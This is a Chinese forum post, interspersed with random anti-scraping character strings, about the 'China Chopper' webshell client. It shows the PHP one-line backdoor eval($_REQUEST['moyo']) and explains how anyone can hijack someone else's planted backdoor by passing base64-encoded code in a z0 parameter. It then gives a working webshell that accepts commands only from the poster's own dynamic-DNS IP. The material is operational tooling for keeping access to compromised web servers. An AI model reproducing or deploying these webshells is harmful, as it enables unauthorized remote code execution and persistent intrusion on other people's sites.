今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
" h$ K1 D; x% M- t/ b3 O: f9 K$ T# k. w2 {& @0 g
就算你设置了密码,使用了eval($_REQUEST['moyo']);
, a; m- b+ Z* A$ D; T/ x
( i/ N9 B1 N3 B3 A6 s3 p但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
& }. S6 o1 [. E8 O: X
" g$ c/ U% B( U( |; {# @! n2 m因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
/ I8 n4 C% R. \$ F7 o5 V. j- @' ]
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了; g, {( P2 r& x
5 {0 s8 w0 Q; B; k( B+ s
不知道是设计缺陷还是故意留的后门1 t; w0 o8 J/ z; Q
- E6 _ C% O" M
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用2 }9 t- I' l6 a8 z8 S# |3 q
+ o' i3 E: A" y* G
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org! s+ d8 O- V' v! ]0 }/ p' U$ M
' _! g: F, ?- N& I然后一句话后门这样写
4 R) A/ X8 [2 C! }0 ~, v. X
" n3 s* o6 y0 v* T4 O<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
" B1 Z! d; G o( @这样就可以让一句话后门只允许自己的电脑连接了
; S- J- T* h5 v2 @/ X0 v3 U% f$ b" {% s, E# _4 Q/ b$ ]
|